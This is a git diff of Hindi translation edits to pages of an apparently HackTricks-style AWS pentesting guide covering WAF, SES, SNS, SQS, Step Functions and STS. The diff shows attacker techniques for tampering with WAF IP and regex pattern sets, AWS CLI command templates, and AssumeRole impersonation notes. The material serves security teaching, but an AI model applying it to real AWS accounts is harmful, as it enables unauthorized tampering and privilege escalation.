हमलावर AWS WAF द्वारा प्रबंधित IP सेट बनाने, अपडेट करने और हटाने में सक्षम होगा। यह खतरनाक हो सकता है क्योंकि यह दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने के लिए नए IP सेट बना सकता है, वैध ट्रैफ़िक को ब्लॉक करने के लिए IP सेट को संशोधित कर सकता है, दुर्भावनापूर्ण IP पते शामिल करने के लिए मौजूदा IP सेट को अपडेट कर सकता है, विश्वसनीय IP पते हटा सकता है या महत्वपूर्ण संसाधनों की सुरक्षा के लिए बनाए गए महत्वपूर्ण IP सेट को हटा सकता है। +एक हमलावर AWS WAF द्वारा प्रबंधित IP सेट बनाने, अपडेट करने और हटाने में सक्षम होगा। यह खतरनाक हो सकता है क्योंकि यह दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने के लिए नए IP सेट बना सकता है, वैध ट्रैफ़िक को ब्लॉक करने के लिए IP सेट को संशोधित कर सकता है, दुर्भावनापूर्ण IP पतों को शामिल करने के लिए मौजूदा IP सेट को अपडेट कर सकता है, विश्वसनीय IP पतों को हटा सकता है या महत्वपूर्ण संसाधनों की सुरक्षा के लिए बनाए गए महत्वपूर्ण IP सेट को हटा सकता है। ```bash # Create IP set aws wafv2 create-ip-set --name --ip-address-version --addresses --scope | CLOUDFRONT --region=us-east-1> @@ -378,11 +378,11 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -इन अनुमतियों के साथ एक हमलावर AWS WAF द्वारा उपयोग किए जाने वाले नियमित अभिव्यक्ति पैटर्न सेट को नियंत्रित और फ़िल्टर करने के लिए हेरफेर कर सकेगा। +इन अनुमतियों के साथ एक हमलावर AWS WAF द्वारा उपयोग किए जाने वाले नियमित अभिव्यक्ति पैटर्न सेट को नियंत्रित और फ़िल्टर करने के लिए हेरफेर कर सकेगा, जो विशिष्ट पैटर्न के आधार पर आने वाले ट्रैफ़िक को नियंत्रित करता है। -- नए regex पैटर्न बनाने से एक हमलावर को हानिकारक सामग्री की अनुमति मिल सकती है +- नए regex पैटर्न बनाना एक हमलावर को हानिकारक सामग्री की अनुमति देने में मदद करेगा - मौजूदा पैटर्न को अपडेट करने पर, एक हमलावर सुरक्षा नियमों को बायपास कर सकेगा -- उन पैटर्न को हटाने से जो दुर्भावनापूर्ण गतिविधियों को अवरुद्ध करने के लिए डिज़ाइन किए गए हैं, एक हमलावर को दुर्भावनापूर्ण पेलोड भेजने और सुरक्षा उपायों को बायपास करने की अनुमति मिल सकती है। +- उन पैटर्न को हटाना जो दुर्भावनापूर्ण गतिविधियों को अवरुद्ध करने के लिए डिज़ाइन किए गए हैं, एक हमलावर को दुर्भावनापूर्ण पेलोड भेजने और सुरक्षा उपायों को बायपास करने की अनुमति दे सकता है। ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -395,9 +395,9 @@ aws wafv2 delete-regex-pattern-set --name --scope [--log-scope --scope | CLOUDFRONT --region=us-east-1> @@ -431,7 +431,7 @@ aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` -**संभावित प्रभाव**: संसाधन छेड़छाड़, जानकारी का रिसाव, लागत हेरफेर और संचालन में बाधा। +**संभावित प्रभाव**: संसाधन छेड़छाड़, जानकारी का रिसाव, लागत हेरफेर और संचालन में विघटन। ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index d01ccf0b6..a159096cb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -10,7 +10,7 @@ Amazon Simple Email Service (Amazon SES) **ईमेल भेजने और ### SMTP User -AWS के **SMTP सर्वर से कनेक्ट करना संभव है** ताकि क्रियाएँ की जा सकें, AWS API का उपयोग करने के बजाय (या इसके अतिरिक्त)। इसके लिए आपको एक उपयोगकर्ता बनाना होगा जिसमें एक नीति हो जैसे: +यह **AWS के SMTP सर्वर से कनेक्ट करने** के लिए संभव है ताकि क्रियाएँ की जा सकें, बजाय AWS API का उपयोग करने के (या इसके अतिरिक्त)। इसके लिए आपको एक उपयोगकर्ता बनाने की आवश्यकता है जिसमें एक नीति हो जैसे: ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index 9472aa1ce..f578b2c4d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -6,13 +6,13 @@ Amazon Simple Notification Service (Amazon SNS) को **पूर्ण रूप से प्रबंधित संदेश सेवा** के रूप में वर्णित किया गया है। यह **एप्लिकेशन-से-एप्लिकेशन** (A2A) और **एप्लिकेशन-से-व्यक्ति** (A2P) संचार प्रकारों का समर्थन करता है। -A2A संचार के लिए प्रमुख विशेषताओं में **प्रकाशित/सदस्यता (pub/sub) तंत्र** शामिल हैं। ये तंत्र **विषयों** को पेश करते हैं, जो उच्च-थ्रूपुट, **पुश-आधारित, कई-से-कई संदेश भेजने** के लिए महत्वपूर्ण हैं। यह विशेषता वितरित प्रणालियों, माइक्रोसर्विसेज़, और इवेंट-ड्रिवन सर्वरलेस आर्किटेक्चर से संबंधित परिदृश्यों में अत्यधिक फायदेमंद है। इन विषयों का लाभ उठाकर, प्रकाशक प्रणालियाँ **व्यापक रूप से विभिन्न सदस्यता प्रणालियों** को संदेश वितरित कर सकती हैं, जिससे एक फैनोउट संदेश पैटर्न को सुविधाजनक बनाया जा सकता है। +A2A संचार के लिए प्रमुख विशेषताओं में **प्रकाशित/सदस्यता (pub/sub) तंत्र** शामिल हैं। ये तंत्र **विषयों** को पेश करते हैं, जो उच्च-थ्रूपुट, **पुश-आधारित, कई-से-कई संदेश भेजने** के लिए महत्वपूर्ण हैं। यह विशेषता वितरित प्रणालियों, माइक्रोसर्विसेज, और इवेंट-ड्रिवन सर्वरलेस आर्किटेक्चर से संबंधित परिदृश्यों में अत्यधिक फायदेमंद है। इन विषयों का लाभ उठाकर, प्रकाशक प्रणालियाँ **व्यापक रूप से विभिन्न सदस्यता प्रणालियों** को संदेशों का कुशलतापूर्वक वितरण कर सकती हैं, जिससे एक फैनआउट संदेश पैटर्न को सुविधाजनक बनाया जा सकता है। ### **SQS के साथ अंतर** **SQS** एक **क्यू-आधारित** सेवा है जो बिंदु-से-बिंदु संचार की अनुमति देती है, यह सुनिश्चित करते हुए कि संदेशों को **एकल उपभोक्ता** द्वारा संसाधित किया जाता है। यह **कम से कम एक बार डिलीवरी** प्रदान करता है, मानक और FIFO क्यू का समर्थन करता है, और पुनः प्रयास और विलंबित प्रसंस्करण के लिए संदेशों को बनाए रखने की अनुमति देता है।\ दूसरी ओर, **SNS** एक **प्रकाशित/सदस्यता-आधारित सेवा** है, जो **एक-से-बहुत** संचार को सक्षम बनाती है, संदेशों को **एक साथ कई सदस्यों** को प्रसारित करके। यह **ईमेल, SMS, Lambda कार्य, और HTTP/HTTPS** जैसे विभिन्न सदस्यता अंत बिंदुओं का समर्थन करता है, और लक्षित संदेश वितरण के लिए फ़िल्टरिंग तंत्र प्रदान करता है।\ -हालांकि दोनों सेवाएँ वितरित प्रणालियों में घटकों के बीच डिकपलिंग को सक्षम बनाती हैं, SQS क्यूड संचार पर ध्यान केंद्रित करता है, और SNS इवेंट-ड्रिवन, फैनोउट संचार पैटर्न पर जोर देता है। +हालांकि दोनों सेवाएँ वितरित प्रणालियों में घटकों के बीच डिकपलिंग को सक्षम बनाती हैं, SQS क्यूड संचार पर ध्यान केंद्रित करता है, और SNS इवेंट-ड्रिवन, फैन-आउट संचार पैटर्न पर जोर देता है। ### **Enumeration** ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index cebed1025..ba3f20e5a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -32,7 +32,7 @@ aws sqs send-message --queue-url --message-body ../aws-privilege-escalation/aws-sqs-privesc.md {{#endref}} -#### पोस्ट शोषण +#### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-sqs-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index e0c9f79fc..b788e14c1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -29,7 +29,7 @@ States state machines के आवश्यक इकाइयाँ हैं ### Task -एक **Task** state एक state machine द्वारा निष्पादित कार्य की एकल इकाई का प्रतिनिधित्व करता है। कार्य विभिन्न संसाधनों को आमंत्रित कर सकते हैं, जिसमें गतिविधियाँ, Lambda फ़ंक्शन, AWS सेवाएँ, या तीसरे पक्ष के APIs शामिल हैं। +एक **Task** state एक state machine द्वारा निष्पादित कार्य की एकल इकाई का प्रतिनिधित्व करता है। कार्य विभिन्न संसाधनों को आमंत्रित कर सकते हैं, जिसमें गतिविधियाँ, Lambda फ़ंक्शन, AWS सेवाएँ, या तृतीय-पक्ष APIs शामिल हैं। - **Activities**: कस्टम श्रमिक जिन्हें आप प्रबंधित करते हैं, लंबे समय तक चलने वाली प्रक्रियाओं के लिए उपयुक्त। - Resource: **`arn:aws:states:region:account:activity:name`**. @@ -37,8 +37,8 @@ States state machines के आवश्यक इकाइयाँ हैं - Resource: **`arn:aws:lambda:region:account:function:function-name`**. - **AWS Services**: अन्य AWS सेवाओं के साथ सीधे एकीकृत करता है, जैसे DynamoDB या S3। - Resource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: तीसरे पक्ष के APIs को कॉल करता है। -- Resource field: **`arn:aws:states:::http:invoke`**. फिर, आपको API URL, विधि, और प्रमाणीकरण विवरण जैसे API एंडपॉइंट कॉन्फ़िगरेशन विवरण प्रदान करने चाहिए। +- **HTTP Task**: तृतीय-पक्ष APIs को कॉल करता है। +- Resource field: **`arn:aws:states:::http:invoke`**. फिर, आपको API एंडपॉइंट कॉन्फ़िगरेशन विवरण प्रदान करना चाहिए, जैसे API URL, विधि, और प्रमाणीकरण विवरण। निम्नलिखित उदाहरण एक Task state परिभाषा को दर्शाता है जो HelloWorld नामक Lambda फ़ंक्शन को आमंत्रित करता है: ```json @@ -54,10 +54,10 @@ States state machines के आवश्यक इकाइयाँ हैं ``` ### Choice -A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. यह निर्दिष्ट शर्तों का मूल्यांकन करता है और परिणामों के आधार पर संबंधित स्थिति में संक्रमण करता है। +A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. -- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. -- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. +- **Comparison**: प्रत्येक चयन नियम में एक तुलना ऑपरेटर शामिल होता है (जैसे, **`NumericEquals`**, **`StringEquals`**) जो एक इनपुट वेरिएबल की तुलना एक निर्दिष्ट मान या दूसरे वेरिएबल से करता है। +- **Next Field**: Choice states **`End`** फ़ील्ड का समर्थन नहीं करते हैं, इसके बजाय, वे उस **`Next`** राज्य को परिभाषित करते हैं जिसमें संक्रमण करना है यदि तुलना सत्य है। Example of **Choice** state: ```json @@ -69,9 +69,9 @@ Example of **Choice** state: ``` ### Fail/Succeed -A **`Fail`** state एक state machine के निष्पादन को रोकता है और इसे एक विफलता के रूप में चिह्नित करता है। इसका उपयोग एक त्रुटि नाम और एक कारण निर्दिष्ट करने के लिए किया जाता है, जो विफलता के बारे में विवरण प्रदान करता है। यह स्थिति टर्मिनल है, जिसका अर्थ है कि यह निष्पादन प्रवाह को समाप्त करती है। +A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow. -A **`Succeed`** state सफलतापूर्वक निष्पादन को रोकता है। इसका उपयोग आमतौर पर तब किया जाता है जब कार्यप्रवाह सफलतापूर्वक पूरा होता है। इस स्थिति को **`Next`** फ़ील्ड की आवश्यकता नहीं होती है। +A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field. {{#tabs }} {{#tab name="Fail example" }} @@ -84,7 +84,7 @@ A **`Succeed`** state सफलतापूर्वक निष्पादन ``` {{#endtab }} -{{#tab name="सफलता का उदाहरण" }} +{{#tab name="Succeed example" }} ```json "SuccessState": { "Type": "Succeed" @@ -106,9 +106,9 @@ A **`Succeed`** state सफलतापूर्वक निष्पादन ``` ### Wait -A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: +A **Wait** state निर्दिष्ट अवधि के लिए राज्य मशीन के निष्पादन में देरी करता है। प्रतीक्षा समय को कॉन्फ़िगर करने के लिए तीन प्राथमिक विधियाँ हैं: -- **X Seconds**: एक निश्चित संख्या में सेकंड प्रतीक्षा करने के लिए। +- **X Seconds**: प्रतीक्षा करने के लिए निश्चित संख्या में सेकंड। ```json "WaitState": { @@ -118,7 +118,7 @@ A **Wait** state delays the execution of the state machine for a specified durat } ``` -- **Absolute Timestamp**: एक सटीक समय तक प्रतीक्षा करने के लिए। +- **Absolute Timestamp**: प्रतीक्षा करने के लिए एक सटीक समय। ```json "WaitState": { @@ -141,7 +141,7 @@ jsonCopiar código ### Parallel -A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: +A **Parallel** state आपको अपने कार्यप्रवाह के भीतर एक साथ कई कार्यों की शाखाओं को निष्पादित करने की अनुमति देता है। प्रत्येक शाखा स्वतंत्र रूप से चलती है और अपने स्वयं के राज्यों के अनुक्रम को संसाधित करती है। निष्पादन तब तक प्रतीक्षा करता है जब तक सभी शाखाएँ पूर्ण नहीं हो जातीं, फिर अगले राज्य पर आगे बढ़ता है। इसके प्रमुख क्षेत्र हैं: - **Branches**: समानांतर निष्पादन पथों को परिभाषित करने वाला एक ऐरे। प्रत्येक शाखा एक अलग राज्य मशीन है। - **ResultPath**: परिभाषित करता है कि (इनपुट में) शाखाओं के संयुक्त आउटपुट को कहाँ रखा जाए। @@ -164,9 +164,9 @@ A **Parallel** state allows you to execute multiple branches of tasks concurrent ``` ### Map -A **Map** state प्रत्येक आइटम के लिए एक सेट स्टेप्स के निष्पादन की अनुमति देता है। इसका उपयोग डेटा के समानांतर प्रसंस्करण के लिए किया जाता है। डेटा सेट के आइटम को कैसे संसाधित करना है, इस पर निर्भर करते हुए, Step Functions निम्नलिखित मोड प्रदान करता है: +A **Map** state प्रत्येक आइटम के लिए एक सेट स्टेप्स को निष्पादित करने की अनुमति देता है। इसका उपयोग डेटा के समानांतर प्रसंस्करण के लिए किया जाता है। आप डेटा सेट के आइटम को कैसे संसाधित करना चाहते हैं, इस पर निर्भर करते हुए, Step Functions निम्नलिखित मोड प्रदान करता है: -- **Inline Mode**: प्रत्येक JSON एरे आइटम के लिए राज्यों के एक उपसमुच्चय को निष्पादित करता है। 40 समानांतर पुनरावृत्तियों से कम के छोटे पैमाने के कार्यों के लिए उपयुक्त है, प्रत्येक को **`Map`** राज्य वाले कार्यप्रवाह के संदर्भ में चलाना। +- **Inline Mode**: प्रत्येक JSON एरे आइटम के लिए राज्यों के एक उपसमुच्चय को निष्पादित करता है। छोटे पैमाने के कार्यों के लिए उपयुक्त है जिनमें 40 से कम समानांतर पुनरावृत्तियाँ हैं, प्रत्येक को उस कार्यप्रवाह के संदर्भ में चलाते हैं जिसमें **`Map`** राज्य होता है। ```json "MapState": { @@ -195,7 +195,7 @@ A **Map** state प्रत्येक आइटम के लिए एक } ``` -- **Distributed Mode**: उच्च समवर्तीता के साथ बड़े पैमाने पर समानांतर प्रसंस्करण के लिए डिज़ाइन किया गया है। यह बड़े डेटा सेट्स को संसाधित करने का समर्थन करता है, जैसे कि Amazon S3 में संग्रहीत डेटा, 10,000 समानांतर बाल कार्यप्रवाह निष्पादन की उच्च समवर्तीता की अनुमति देता है, इन बच्चों को एक अलग बाल निष्पादन के रूप में चलाना। +- **Distributed Mode**: उच्च समवर्तीता के साथ बड़े पैमाने पर समानांतर प्रसंस्करण के लिए डिज़ाइन किया गया है। यह बड़े डेटा सेट्स को संसाधित करने का समर्थन करता है, जैसे कि Amazon S3 में संग्रहीत डेटा, 10,000 समानांतर बाल कार्यप्रवाह निष्पादन की उच्च समवर्तीता की अनुमति देता है, इन बच्चों को एक अलग बाल निष्पादन के रूप में चलाते हैं। ```json "DistributedMapState": { @@ -234,19 +234,19 @@ A **Map** state प्रत्येक आइटम के लिए एक ### Versions and aliases -Step Functions आपको **संस्करणों** और **उपनामों** के माध्यम से कार्यप्रवाह तैनाती को प्रबंधित करने की अनुमति भी देता है। एक संस्करण एक राज्य मशीन का स्नैपशॉट दर्शाता है जिसे निष्पादित किया जा सकता है। उपनाम एक राज्य मशीन के दो संस्करणों तक के लिए संकेतक के रूप में कार्य करते हैं। +Step Functions आपको **versions** और **aliases** के माध्यम से कार्यप्रवाह तैनाती को प्रबंधित करने की भी अनुमति देता है। एक संस्करण एक राज्य मशीन का स्नैपशॉट दर्शाता है जिसे निष्पादित किया जा सकता है। उपनाम एक राज्य मशीन के दो संस्करणों की ओर संकेत करते हैं। -- **Versions**: ये राज्य मशीन के अपरिवर्तनीय स्नैपशॉट उस राज्य मशीन के सबसे हाल के संशोधन से बनाए जाते हैं। प्रत्येक संस्करण को एक अद्वितीय ARN द्वारा पहचाना जाता है जो राज्य मशीन ARN को संस्करण संख्या के साथ जोड़ता है, जिसे कोलन द्वारा अलग किया जाता है (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**)। संस्करणों को संपादित नहीं किया जा सकता है, लेकिन आप राज्य मशीन को अपडेट कर सकते हैं और एक नया संस्करण प्रकाशित कर सकते हैं, या इच्छित राज्य मशीन संस्करण का उपयोग कर सकते हैं। -- **Aliases**: ये संकेतक एक ही राज्य मशीन के दो संस्करणों तक को संदर्भित कर सकते हैं। एकल राज्य मशीन के लिए कई उपनाम बनाए जा सकते हैं, प्रत्येक को एक अद्वितीय ARN द्वारा पहचाना जाता है जो राज्य मशीन ARN को उपनाम के नाम के साथ जोड़ता है, जिसे कोलन द्वारा अलग किया जाता है (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**)। उपनाम एक राज्य मशीन के दो संस्करणों के बीच ट्रैफ़िक को रूट करने की अनुमति देते हैं। वैकल्पिक रूप से, एक उपनाम राज्य मशीन के एक विशेष संस्करण की ओर इशारा कर सकता है, लेकिन अन्य उपनामों की ओर नहीं। इन्हें आवश्यकतानुसार राज्य मशीन के एक अलग संस्करण की ओर पुनर्निर्देशित करने के लिए अपडेट किया जा सकता है, जिससे नियंत्रित तैनाती और कार्यप्रवाह प्रबंधन को सुविधाजनक बनाया जा सके। +- **Versions**: ये राज्य मशीन के सबसे हाल के संशोधन से बनाए गए अपरिवर्तनीय स्नैपशॉट हैं। प्रत्येक संस्करण को एक अद्वितीय ARN द्वारा पहचाना जाता है जो राज्य मशीन ARN को संस्करण संख्या के साथ जोड़ता है, जिसे एक कोलन द्वारा अलग किया जाता है (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**)। संस्करणों को संपादित नहीं किया जा सकता है, लेकिन आप राज्य मशीन को अपडेट कर सकते हैं और एक नया संस्करण प्रकाशित कर सकते हैं, या इच्छित राज्य मशीन संस्करण का उपयोग कर सकते हैं। +- **Aliases**: ये संकेतक एक ही राज्य मशीन के दो संस्करणों की ओर संदर्भित कर सकते हैं। एकल राज्य मशीन के लिए कई उपनाम बनाए जा सकते हैं, प्रत्येक को एक अद्वितीय ARN द्वारा पहचाना जाता है जो राज्य मशीन ARN को उपनाम नाम के साथ जोड़ता है, जिसे एक कोलन द्वारा अलग किया जाता है (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**)। उपनाम एक राज्य मशीन के दो संस्करणों के बीच ट्रैफ़िक को रूट करने की अनुमति देते हैं। वैकल्पिक रूप से, एक उपनाम एक राज्य मशीन के एक विशिष्ट संस्करण की ओर इशारा कर सकता है, लेकिन अन्य उपनामों की ओर नहीं। इन्हें आवश्यकतानुसार राज्य मशीन के एक अलग संस्करण की ओर पुनर्निर्देशित करने के लिए अपडेट किया जा सकता है, जिससे नियंत्रित तैनाती और कार्यप्रवाह प्रबंधन को सुविधाजनक बनाया जा सके। **ASL** के बारे में अधिक विस्तृत जानकारी के लिए, देखें: [**Amazon States Language**](https://states-language.net/spec.html)。 ## IAM Roles for State machines -AWS Step Functions संसाधनों और कार्यों तक पहुँच को नियंत्रित करने के लिए AWS पहचान और पहुँच प्रबंधन (IAM) भूमिकाओं का उपयोग करता है। AWS Step Functions में सुरक्षा और IAM भूमिकाओं से संबंधित प्रमुख पहलू यहां दिए गए हैं: +AWS Step Functions संसाधनों और कार्यों तक पहुँच को नियंत्रित करने के लिए AWS पहचान और पहुँच प्रबंधन (IAM) भूमिकाओं का उपयोग करता है। AWS Step Functions में सुरक्षा और IAM भूमिकाओं से संबंधित प्रमुख पहलू यहाँ हैं: -- **Execution Role**: AWS Step Functions में प्रत्येक राज्य मशीन एक IAM निष्पादन भूमिका से जुड़ी होती है। यह भूमिका परिभाषित करती है कि राज्य मशीन आपकी ओर से कौन से कार्य कर सकती है। जब एक राज्य मशीन उन राज्यों के बीच संक्रमण करती है जो AWS सेवाओं के साथ इंटरैक्ट करते हैं (जैसे Lambda कार्यों को कॉल करना, DynamoDB तक पहुँचना, आदि), तो यह उन कार्यों को करने के लिए इस निष्पादन भूमिका को ग्रहण करती है। -- **Permissions**: IAM निष्पादन भूमिका को अन्य AWS सेवाओं पर आवश्यक कार्यों की अनुमति देने वाली अनुमतियों के साथ कॉन्फ़िगर किया जाना चाहिए। उदाहरण के लिए, यदि आपकी राज्य मशीन को AWS Lambda कार्यों को कॉल करने की आवश्यकता है, तो IAM भूमिका को **`lambda:InvokeFunction`** अनुमतियाँ होनी चाहिए। इसी तरह, यदि इसे DynamoDB में लिखने की आवश्यकता है, तो उचित अनुमतियाँ (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, आदि) प्रदान की जानी चाहिए। +- **Execution Role**: AWS Step Functions में प्रत्येक राज्य मशीन एक IAM निष्पादन भूमिका से जुड़ी होती है। यह भूमिका परिभाषित करती है कि राज्य मशीन आपके पक्ष में कौन से कार्य कर सकती है। जब एक राज्य मशीन उन राज्यों के बीच संक्रमण करती है जो AWS सेवाओं के साथ इंटरैक्ट करते हैं (जैसे Lambda कार्यों को कॉल करना, DynamoDB तक पहुँचना, आदि), तो यह उन कार्यों को करने के लिए इस निष्पादन भूमिका को ग्रहण करती है। +- **Permissions**: IAM निष्पादन भूमिका को अन्य AWS सेवाओं पर आवश्यक कार्यों की अनुमति देने के लिए कॉन्फ़िगर किया जाना चाहिए। उदाहरण के लिए, यदि आपकी राज्य मशीन को AWS Lambda कार्यों को कॉल करने की आवश्यकता है, तो IAM भूमिका को **`lambda:InvokeFunction`** अनुमतियाँ होनी चाहिए। इसी तरह, यदि इसे DynamoDB में लिखने की आवश्यकता है, तो उचित अनुमतियाँ (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, आदि) दी जानी चाहिए। ## Enumeration @@ -297,27 +297,27 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` -## Privesc +## प्रिवेस्क -अगली पृष्ठ पर, आप देख सकते हैं कि **Step Functions अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: +In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**: {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md {{#endref}} -## Post Exploitation +## पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-stepfunctions-post-exploitation.md {{#endref}} -## Persistence +## पर्सिस्टेंस {{#ref}} ../aws-persistence/aws-step-functions-persistence.md {{#endref}} -## References +## संदर्भ - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html) - [https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html](https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 1c7324229..ff00321f4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -10,7 +10,7 @@ ### Assume Role Impersonation -AWS STS द्वारा प्रदान किया गया क्रिया [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) महत्वपूर्ण है क्योंकि यह एक प्रमुख को दूसरे प्रमुख के लिए क्रेडेंशियल्स प्राप्त करने की अनुमति देती है, मूल रूप से उन्हें अनुकरण करती है। जब इसे लागू किया जाता है, तो यह एक एक्सेस कुंजी आईडी, एक गुप्त कुंजी, और निर्दिष्ट ARN के अनुसार एक सत्र टोकन के साथ प्रतिक्रिया करता है। +AWS STS द्वारा प्रदान किया गया क्रिया [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) महत्वपूर्ण है क्योंकि यह एक प्रमुख को दूसरे प्रमुख के लिए क्रेडेंशियल्स प्राप्त करने की अनुमति देता है, मूल रूप से उन्हें अनुकरण करता है। जब इसे लागू किया जाता है, तो यह एक एक्सेस कुंजी आईडी, एक गुप्त कुंजी, और निर्दिष्ट ARN के अनुसार एक सत्र टोकन के साथ प्रतिक्रिया करता है। पेनिट्रेशन टेस्टर्स या रेड टीम के सदस्यों के लिए, यह तकनीक विशेषाधिकार वृद्धि के लिए महत्वपूर्ण है (जैसा कि [**यहां**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole) विस्तृत किया गया है)। हालाँकि, यह ध्यान देने योग्य है कि यह तकनीक काफी स्पष्ट है और यह हमलावर को चौंका नहीं सकती। @@ -32,7 +32,7 @@ AWS STS द्वारा प्रदान किया गया क्र ] } ``` -इस मामले में **`priv-role`** भूमिका को उस भूमिका को ग्रहण करने के लिए **विशेष रूप से अनुमति देने** की आवश्यकता नहीं है (उस अनुमति के लिए पर्याप्त है)। +भूमिका **`priv-role`** इस मामले में, **विशेष रूप से अनुमति देने की आवश्यकता नहीं है** कि उस भूमिका को ग्रहण किया जाए (उस अनुमति के लिए पर्याप्त है)। हालांकि, यदि एक भूमिका किसी खाते को उसे ग्रहण करने की अनुमति दे रही है, जैसे कि: ```json @@ -50,11 +50,11 @@ AWS STS द्वारा प्रदान किया गया क्र ] } ``` -उस भूमिका को ग्रहण करने की कोशिश करने के लिए उसे उस भूमिका पर **विशिष्ट `sts:AssumeRole` अनुमति** की आवश्यकता होगी **ताकि वह उसे ग्रहण कर सके**। +उस भूमिका को ग्रहण करने के लिए **विशिष्ट `sts:AssumeRole` अनुमति** की आवश्यकता होगी। -यदि आप **किसी अन्य खाते** से **भूमिका** ग्रहण करने की कोशिश करते हैं, तो **ग्रहण की गई भूमिका को इसकी अनुमति देनी चाहिए** (भूमिका **ARN** या **बाहरी खाते** को इंगित करते हुए), और **जो भूमिका दूसरी को ग्रहण करने की कोशिश कर रही है** उसे **इसे ग्रहण करने की अनुमति होनी चाहिए** (इस मामले में यह वैकल्पिक नहीं है, भले ही ग्रहण की गई भूमिका एक ARN निर्दिष्ट कर रही हो)। +यदि आप **एक अलग खाते** से **भूमिका** ग्रहण करने का प्रयास करते हैं, तो **ग्रहण की गई भूमिका को इसकी अनुमति देनी चाहिए** (भूमिका **ARN** या **बाहरी खाते** को इंगित करते हुए), और **जो भूमिका ग्रहण करने का प्रयास कर रही है** उसे **इसे ग्रहण करने की अनुमति होनी चाहिए** (इस मामले में यह वैकल्पिक नहीं है, भले ही ग्रहण की गई भूमिका एक ARN निर्दिष्ट कर रही हो)। -### Enumeration +### गणना ```bash # Get basic info of the creds aws sts get-caller-identity @@ -69,7 +69,7 @@ aws sts get-session-token --serial-number --token-code ``` ### Privesc -इस पृष्ठ पर आप देख सकते हैं कि **STS अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: +इस पृष्ठ पर आप **STS अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index c50379c54..16feee9d5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -15,17 +15,17 @@ EventBridge Scheduler में शेड्यूल के प्रकार: 1. 